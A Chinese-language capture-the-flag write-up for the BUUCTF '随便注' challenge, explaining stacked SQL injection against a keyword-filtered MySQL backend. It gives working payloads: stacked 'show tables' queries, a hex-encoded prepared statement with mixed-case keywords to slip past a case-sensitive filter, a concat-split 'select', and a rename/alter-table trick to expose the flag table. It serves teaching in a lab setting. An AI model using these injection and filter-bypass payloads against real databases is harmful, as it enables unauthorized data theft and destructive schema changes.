zoukankan      html  css  js  c++  java
  • BUUCTF 随便注

    知识点:

    ##堆叠注入

    #预语句注入

    https://www.cnblogs.com/0nth3way/articles/7128189.html#autoid-1-0-0

    正则过滤了很多关键字导致无法进行常规的注入,试了很久康wp才知道是堆叠注入

    1';show tables;#

    得到表名

    1';show columns from words;

    words的列 有id 和 data

    1';show columns from `1919810931114514`#

    有flag

    flag再 第二张表中

    正则过滤了很多关键字,这里采用两种方法绕

    一:预语句 // 简单来说就是先设定好这个语句然后直接调用并执行就行了 

     用16进制绕过select

     但是发现set 和prepare被strstr()函数过滤 ,但是这个函数对大小写敏感直接尝试大小写绕过

    payload:

    1';sEt @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;Prepare esql from @a;execute esql;

    第二种payload,这里不用16进制绕过,用concat绕过:

    1';sEt @a=concat('se','lect * from `1919810931114514`);Prepare esql from @a;execute esql;#

    二:改变表的结构

    分析

    总共有两张表,一张是words 带有两列 ,另一张是带有flag的表,而正常的回显肯定是从words的表里查询数据的,那么猜测后台的语句可能如此

    select id,data from words

    现在只要 把words其他的,然后把带flag的表改成words并把列名flag改为id就好了

    1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

    之后再 1' or 1=1# 就可以拿到flag

  • 相关阅读:
    mongodb的账户管理
    mongo备份与恢复
    mongo索引
    聚合aggregate
    07-【jsp基本了解】
    Servlet登录小案例
    06-【servletconfig、servletContext 】
    05-【session、cookie】
    jQuery
    04-【servlet转发和重定向】
  • 原文地址:https://www.cnblogs.com/tlbjiayou/p/12019343.html
Copyright © 2011-2022 走看看